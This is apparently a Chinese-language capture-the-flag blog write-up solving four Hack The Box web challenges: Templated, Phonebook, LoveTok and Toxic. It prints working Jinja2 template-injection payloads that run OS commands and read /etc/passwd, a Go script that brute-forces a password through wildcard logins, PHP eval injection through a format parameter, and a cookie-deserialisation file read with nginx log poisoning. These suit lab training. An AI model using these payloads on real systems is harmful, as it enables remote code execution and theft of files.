Templated
打开页面,有提示说是Flask/jinja2框架搭建,以及靶机标题templated判断为ssti模板注入

输入9测试

回显9,确定为ssti模板注入

http://178.128.171.82:31589/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls ').read()") }}
{% endif %}
{% endfor %}

回显了目录列表,查看flag.txt

拿到flag
这里是典型的python-Flask模板注入,一些基础payload:
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').r
Phonebook
打开页面是一个登录框

看到登录框,第一反应为sql注入,试一下万能密码admin' or '1'='1不行,然后fuzz一下,看有没有SQL注入,没有成功。
尝试通配符登录,用户名密码都填*,登录成功

是一个查询用户电话号码的搜索页面,到处瞅瞅页面没啥问题
问题回到那个登录框,将用户名改为页面下留言的Reese,密码为*,登录成功
将用户名改成其他,密码为*,无法登录
也就是说登录用户名确定为Reese,猜测密码即为flag,flag格式为HTB{},将密码改为H*,发现登录成功,说明猜测没错接下来就是写个脚本爆破出flag值。脚本原理即为一位一位遍历,后面加上一个通配符,前面一位是对的时,会登录成功,否则登录失败。
go脚本如下:
package main
import (
    "bytes"
    "fmt"
    "io/ioutil"
    "net/http"
    "strings"
)
func main() {
    url := "http://144.126.228.187:30674/login"
    client := &http.Client{}
    chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?!_}"
    flag := "HTB{"
    password := ""
    for i := 0; i < len(chars); i++ {
        password = flag + string(chars[i]) + "*"
        fmt.Printf("[-] testing %s", password)
        data := []byte("username=Reese&password=" + password)
        req, _ := http.NewRequest("POST", url, bytes.NewBuffer(data))
        req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0")
        req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
        resp, err := client.Do(req)
        if err != nil {
            fmt.Println("Error:", err)
        }
        defer resp.Body.Close()
        if resp.StatusCode == 200 {
            bodyBytes, _ := ioutil.ReadAll(resp.Body)
            bodyString := string(bodyBytes)
            if strings.Contains(bodyString, "No search results") {
                flag += string(chars[i])
                fmt.Println(" success")
                fmt.Printf("[+] %s\n", flag)
                break
            }
        }
        fmt.Println(" failed")
        if flag[len(flag)-1] == '}' {
            break
        }
    }
    fmt.Printf("flag: %s\n", flag)
}
LoveTok
题目给了源码,下载下来查看
打开页面,点击最底下的按钮出现format参数,猜测这个参数有利用点,去源码中找到此参数

在TimeModel.php中找到了$format
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);
        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }
    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}
这里用了addslashes()——– 使用反斜线引用字符串
注意下面有个eval()函数,将$this->format包含在了里面,也就意味着,我们可以控制format的值来进行eval()执行代码。
所以,第一步绕过addslashes()的转义
使用php复杂变量进行绕过
https://www.programmersought.com/article/30723400042/
简单来说,${phpinfo()},会先执行phpinfo(),然后将返回值作为变量名

这里“还是会被转义,所以需要换个方式,不使用到这些字符

?format=${system($_GET[1])}&1=ls

?format=${system($_GET[1])}&1=ls /

?format=${system($_GET[1])}&1=cat /flagLpfG2

拿到flag,这就是一道php命令执行的题。
Toxic
给了源码
<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';
    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
这里可以看到,cookie是文件读取目录经过序列化之后再进行base64编码后生成的
抓个包

decode

所以我们可以逆向去读取敏感文件

成功读取

注意到最后一行,nginx,想到日志文件包含
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
尝试读一下


可以看到日志文件为请求头文件
那么我们可以将请求头中的User-Agent字段更改为恶意代码,这样就会自动写入日志文件中,然后被执行。

再次访问日志文件,之前更改了ua的访问已经被记录

php代码也已经被执行,回显了flag
- 本文标题:HTB Challenges—Web
- 本文作者:n3ym4r
- 创建时间:2023-02-04 16:06:14
- 本文链接:https://n3ym4r.github.io/2023/02/04/HTB Challenges—Web/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!